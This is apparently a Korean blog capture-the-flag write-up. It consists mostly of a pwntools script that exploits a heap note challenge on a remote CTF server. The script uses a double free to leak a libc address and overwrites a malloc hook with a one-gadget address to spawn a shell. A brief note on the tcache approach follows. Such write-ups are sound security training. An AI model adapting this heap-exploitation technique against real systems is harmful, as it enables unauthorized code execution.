from pwn import *
#p = process('./campnote')
p = remote("pwnable.shop", 20202)
e = ELF('./campnote')
l = e.libc
context.log_level="debug"
def malloc(size, content):
p.sendlineafter('>>','1')
p.sendlineafter('size >> ',str(size))
p.sendlineafter('data >> ',str(content))
def free(index):
p.sendlineafter('>>','2')
p.sendlineafter('index >> ', str(index))
def show(index):
p.sendlineafter('>>','3')
p.sendlineafter('index >> ', str(index))
size = 0x7f - 24
malloc(size,1)
malloc(size,'a' *8 + p64(e.got['puts']))
malloc(1024,1)
malloc(1024,1)
free(2)
free(0)
free(1)
free(0)
show(2)
p.recvuntil('data >> ')
libc = u64(p.recv(6).ljust(8,'\x00')) - 88 - 16 - l.sym['__malloc_hook']
log.info('libc : '+ hex(libc))
victim = libc + l.sym['__realloc_hook'] - 11 - 16
log.info('victim_chunk_ptr : ' + hex(victim))
malloc(size, p64(victim))
malloc(size,1)
malloc(size,1)
malloc(size, 'a' * 0x13 + p64(libc +0xf02a4))
free(1)
free(1)
이 바이너리는 찾을 수 없었다.ㅠㅠㅠㅠㅠㅠㅠㅠ 나중에 찾으면 올리겠습니다. 이 문제는 tcache를 상요하였는데 내 가상머신이 16.04여서 디버깅 1번 못해보고 익스를 짜야 되었다. 이 문제도 camp_note때처럼 풀면 된다. 다만 다른 점은 size를 맞추어주지 않고, fd부분에 prev_size와 size를 지난 부분의 주소를 주어야한다는 것입니다.
'CTF write-up' 카테고리의 다른 글
Tokyo Western CTF 2017 - Parrot (0) | 2019.10.02 |
---|---|
[hackingcamp2019]bonus (0) | 2019.08.25 |
[hackingcamp2019]camp_note (0) | 2019.08.25 |
[dimi_ctf]ezheap (0) | 2019.07.15 |
[dimi_ctf]ropasaurusrex2 (0) | 2019.07.15 |